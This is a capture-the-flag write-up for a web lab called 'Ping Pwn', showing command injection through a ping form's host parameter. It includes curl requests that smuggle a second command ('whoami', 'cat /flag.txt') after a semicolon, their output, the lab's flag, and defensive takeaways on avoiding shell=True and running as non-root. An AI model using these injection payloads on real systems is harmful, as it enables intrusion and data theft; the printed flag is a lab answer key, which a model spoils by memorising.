Ping Pwn - CTF Writeup
| Category: WEB | Flags: 1 |
Challenge: https://hackerdna.com/labs/ping-pwn
Contents
Reconnaissance
Nmap reveals two open ports:
- 80 - nginx - static landing page
- 8080 - Werkzeug/2.3.7 Python 3.11.13 - “Network Monitoring Tool”
The tool provides a ping form that submits a target host parameter to /ping:
curl "http://TARGET:8080/ping?host=8.8.8.8"
The response shows ping output, confirming the host value is interpolated directly
into a shell command.
Command Injection
The host parameter is concatenated into a command like ping -c 1 <host> without
sanitisation. A semicolon injects a second command, which runs with the privileges of
the Flask process (root in this container):
curl "http://TARGET:8080/ping?host=8.8.8.8%3Bwhoami"
Output:
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
--- 8.8.8.8 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
root
Blind enumeration for the flag file:
curl "http://TARGET:8080/ping?host=8.8.8.8;cat%20/flag.txt"
2d14fec8-29c6-4f8d-9fbc-5ce16aceb252
Flag: 2d14fec8-29c6-4f8d-9fbc-5ce16aceb252
How the Attack Works
The backend builds the system command with an f-string and hands it to a shell:
command = f"ping -c 1 {host}"
os.popen(command) # or subprocess with shell=True
Because the shell interprets the ; separator, the injected payload is executed as a
new command. The process runs as root, so the flag at the filesystem root is readable.
This is the classic command-injection pattern: user-controlled data flows into a
shell without escaping or a shell=False argument-array invocation.
Key Takeaways
- Never use
shell=True(oros.popen) with user input. Pass an argument array (subprocess.run(["ping","-c","1",host])) so the shell never parses the input. - Validate the input format. The
hostfield should be restricted to IP-addresses/hostnames with a strict whitelist regex. - Run the service as a least-privilege user. A container running as root turns RCE into instant root - use a non-root user and drop capabilities.
- Ping-style and traceroute-style web tools are the classic command injection
sinks - always test
;,&&,|, backticks and$(...)payloads.